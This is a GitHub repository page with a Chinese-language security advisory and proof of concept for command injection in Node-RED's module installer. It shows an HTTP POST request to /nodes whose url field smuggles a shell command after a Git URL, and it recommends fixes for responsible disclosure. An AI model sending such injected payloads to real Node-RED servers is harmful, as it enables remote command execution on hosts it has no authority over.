MathisFranel/POC-NodeRed-RCE-Import

GitHub: MathisFranel/POC-NodeRed-RCE-Import

该 PoC 项目演示了 Node-RED 模块安装器中因未安全处理 Git URL 输入而导致的远程命令执行漏洞,供安全研究与漏洞修复参考。

Stars: 0 | Forks: 0

# 安全公告:Node-RED 中的命令注入远程代码执行 ## 摘要 - **漏洞类型:** 命令注入(远程代码执行) - **组件:** `node-red/registry`(模块安装器) - **严重程度:** 严重 - **受影响版本:** 4.1.5 及以下版本 - **发现者:** Mathis Franel ## 描述 `packages/node_modules/@node-red/registry/lib/installer.js` 中的 `installModule` 函数存在命令注入漏洞。 当通过 Git URL 安装模块时,`url` 参数会被不安全地传递给 `child_process.exec` 调用(通过 `node-red/util/lib/exec.js`),该调用以 `shell: true` 模式运行。 其实现使用用户提供的 URL 构建了 `npm install` 命令,且没有进行充分的清理或引号包裹。攻击者可以通过使用标准的 shell 元字符(例如 `;`、`&`、`|`)将任意 shell 命令附加到有效的 Git URL 后,从而注入恶意命令。 ## 概念验证 (PoC) 经过身份验证的用户(或者如果禁用了 `adminAuth`(即默认配置)情况下的未经身份验证的用户)可以通过向 `/nodes` endpoint 发送带有畸形 URL payload 的 `POST` 请求来触发此漏洞。 ### HTTP 请求 ``` POST /nodes HTTP/1.1 Host: :1880 Content-Type: application/json Authorization: Bearer { "module": "attacker-module", "url": "git+ssh://github.com/foo/bar.git; touch /tmp/pwned" } ``` ## 影响 此漏洞允许攻击者以 Node-RED 进程的权限在服务器主机上执行任意命令。这可能导致: - 系统全面沦陷 - 未经授权的数据访问和窃取 - 在网络内部进行横向移动 - 拒绝服务 ## 修复与建议 为了妥善缓解此漏洞,建议采取以下修复步骤: 1. **避免 Shell 执行:** 在为安装命令生成子进程时,避免使用 `shell: true`。尽可能使用 `child_process.execFile` 或不带底层 shell 包装器的 `child_process.spawn`。 2. **输入清理与验证:** 对 `url` 参数实施严格的允许列表验证,以确保其完全符合有效的 URL 结构,并且不包含任何 shell 元字符。 *本安全公告是为了文档记录和负责任的漏洞披露目的而编写的。*
标签:GNU通用公共许可证, MITM代理, Node.js, Node-RED, 命令注入, 暗色界面, 漏洞报告, 编程工具, 网络安全研究, 远程代码执行